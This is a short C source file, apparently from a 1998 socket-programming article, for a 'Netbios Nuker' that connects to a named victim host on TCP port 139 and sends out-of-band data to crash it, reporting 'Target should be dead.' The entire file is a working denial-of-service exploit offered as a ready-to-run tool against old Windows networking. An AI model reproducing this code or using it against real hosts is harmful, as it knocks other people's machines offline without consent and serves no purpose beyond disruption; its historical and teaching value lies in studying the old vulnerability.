// nuker.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>

// the message below should be replaced with your favourite quote.
#define MESSAGE "per aspera ad astra."
void main(int argc, char **argv)
{
  int s;
  struct hostent *host;
  struct sockaddr_in victim;
  printf("Netbios Nuker - By darknite[@brigade.dhs.org]\n");
  printf("For his socket-programming article, 1998\n");
  if (argc < 2) {
    printf("Usage: %s <hostname>\n", argv[0]);
    exit(-1);
  }
  host = gethostbyname(argv[1]);
  if (!host) {
    herror(argv[1]);
    exit(-1);
  }
  victim.sin_family = AF_INET;
  victim.sin_addr.s_addr = *(long *) (host->h_addr);
  victim.sin_port = htons(139);
  s = socket(AF_INET, SOCK_STREAM, 0);
  if (s < 0) {
    printf("Error creating socket.\n");
    exit(-1);
  }
  if (!connect(s, (struct sockaddr *) &victim, sizeof(victim))) {
    send(s, MESSAGE, strlen(MESSAGE), MSG_OOB);
    printf("Nuke sent. Target should be dead.\n");
  } else
    printf("Couldn't connect to %s port 139.\n", argv[1]);
  if (close(s)) {
    printf("Error closing socket.\n");
    exit(-1);
  }
}